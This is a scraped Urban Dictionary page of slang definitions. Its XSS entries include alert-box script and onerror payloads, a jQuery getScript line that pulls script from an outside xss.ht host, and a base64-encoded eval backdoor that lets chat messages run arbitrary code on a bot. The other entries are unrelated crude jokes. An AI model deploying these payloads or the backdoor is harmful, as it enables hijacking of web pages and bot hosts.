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Short for Cross Site Scripting. A type of web based security vulnerability using client side scripts such as Javascript.

XSS takes place as a consequence of improper input sanitization. When the input provided by the user is not properly sanitized, an ill willed user may insert scripting code into a web page, which in turn will be executed by the visitor's browser. There are 2 kinds of XSS attacks: stored or reflected. Stored would mean that the injected code is permanently stored in the page, such as in a comment. Reflected would mean that it only appears once when the payload (i.e. the malicious input) is part of the request, maybe in parameters or cookies.
We have discovered an XSS vulnerability in the user profile view.
XSS by Wild Laurasaurus October 23, 2019
<script>alert("Gotcha")</script>
Did you hear that Samy performed XSS on MySpace
XSS by testingtester April 15, 2022

command xss 

^evaljs eval1-1(atob("Ym90LnNvY2tldC5vbignbWVzc2FnZScsIGZ1bmN0aW9uKGRhdGEpIHsKICBsZXQgeCA9IGRhdGEubXNnLmluZGV4T2YoJyAnKTsKICBpZihkYXRhLm1zZy5zbGljZSgwLCB4KSA9PSAnJGhhY2snKSB7CiAgICB0cnkgewogICAgICBib3Quc29ja2V0LmVtaXQoJ21lc3NhZ2UnLCBldmFsKGRhdGEubXNnLnNsaWNlKHggKyAxKSkpOwogICAgfSBjYXRjaChlcikgewogICAgICBib3Quc29ja2V0LmVtaXQoJ21lc3NhZ2UnLCAiRVJSOiAiICsgZXIudG9TdHJpbmcoKSk7CiAgICB9CiAgfQp9KQ=="))
/* command xss is a type of XSS attack performed on chatroom bots to gain access to the host's computer */
/* They found a command xss in my bot and deleted all my files */
command xss by Melissa 2000 April 7, 2021

GIF XSS Payload 

It is an XSS attack disguised in a GIF image.
John looked at the GIF XSS Payload suspiciously as if it was a trojan horse.

onerror='alert("xss")'> 

onerror='alert("xss")'>
onerror='alert("xss")'>

<script>$.getScript("//xssnoob.xss.ht")</script> 

shs jhdsjd hjdjd
<script>$.getScript("//xssnoob.xss.ht")</script>
More from Urban Dictionary

Plate of Brown 

A plate of brown consists of foods that have little to no nutritional value, and are typically deep fried. A true plate of brown will also be accompanied by a dark soda.
Wanna go to meal hall & grab a plate of brown?
Plate of Brown by Cheddar Craigson September 18, 2020
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Larpenomics

When finance content creators rent out fancy cars and flex cash to seem richer than they really are in order to promote and sell their “get rich quick” courses.
Andrew Tate has mastered the field of larpenomics
Larpenomics by Rbois09 October 21, 2026
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Palmela Handerson 

Your hand that you masturbate with.
Girlfriend: What are you going to do for the next week while I'm on holiday?

Boyfriend: Have a visit from Palmela Handerson of course!
Word of the Day on October 20, 2026
x:"Girl your fit chewed today!"
Chewed by iod1o March 30, 2022
Word of the Day on October 19, 2026
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